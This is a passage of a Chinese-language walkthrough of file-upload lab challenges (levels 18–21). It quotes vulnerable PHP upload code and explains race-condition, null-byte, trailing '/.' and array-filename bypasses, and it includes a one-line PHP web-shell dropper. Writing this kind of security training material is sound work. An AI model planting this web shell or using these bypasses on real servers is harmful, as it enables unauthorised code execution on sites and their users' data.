            unlink($upload_file);
        }
    }else{
        $msg = '上传失败!';
    }
}

思路:rename修改名称,unlink删除文件,我们在他删除之前再次上传,使用条件竞争
生成一句话的代码:<?php fputs(fopen('shell.php','w'),'<?php @eval($_REQUEST[peak]);?>');?>
使用bp Intruder无限次上传2.php
在这里插入图片描述
在这里插入图片描述
设置线程后,start
在这里插入图片描述

无限次访问2.php木马文件
在这里插入图片描述
在这里插入图片描述
设置线程后,start
在这里插入图片描述

第十九题

//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload($UPLOAD_ADDR);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已经被上传,但没有重命名。';
            break; 
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break; 
        case -2:
            $msg = '上传失败,上传目录不可写。';
            break; 
        case -3:
            $msg = '上传失败,无法上传该类型文件。';
            break; 
        case -4:
            $msg = '上传失败,上传的文件过大。';
            break; 
        case -5:
            $msg = '上传失败,服务器已经存在相同名称文件。';
            break; 
        case -6:
            $msg = '文件无法上传,文件不能复制到目标目录。';
            break;      
        default:
            $msg = '未知错误!';
            break;
    }
}

//myupload.php
class MyUpload{
......
......
...... 
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......  
  /** upload()
   **
   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/
  function upload( $dir ){
    
    $ret = $this->isUploadedFile();
    
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){
      
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );
  
  }
......
......
...... 
};

思路:源码是将先将上传的文件保存(move函数),再rename重命名一下,这里需要和文件包含配合使用
在这里插入图片描述
上传22.jpg文件
在这里插入图片描述
接下来使用条件竞争,让服务器来不及重命名,使用方法和第十七题一样
在这里插入图片描述

第二十题

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $img_path = $UPLOAD_ADDR . '/' .$file_name;
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上传失败!';
            }
        }else{
            $msg = '禁止保存为该类型文件!';
        }

    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

思路:可以使用00截断,还可以利用move_upload_file函数的漏洞,会忽略文件末尾的/.
在这里插入图片描述

在这里插入图片描述

第二一关

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";
}

思路:上传数组后,重定义文件路径,可以使用数组+/.绕过
payload
在这里插入图片描述
注意:该题上传x.php后,需要将MIME类型修改下,还需要注意xx.php/后面没有.,第三个框中只能是jpg/gif/png,前面不能有.,因为有array数组白名单验证

参考:
https://xz.aliyun.com/t/2435(19关)
https://xz.aliyun.com/t/4029#toc-20(20关)
https://zhuanlan.zhihu.com/p/52099683(19关)
https://www.jianshu.com/p/aabc1e7408d5(20关)

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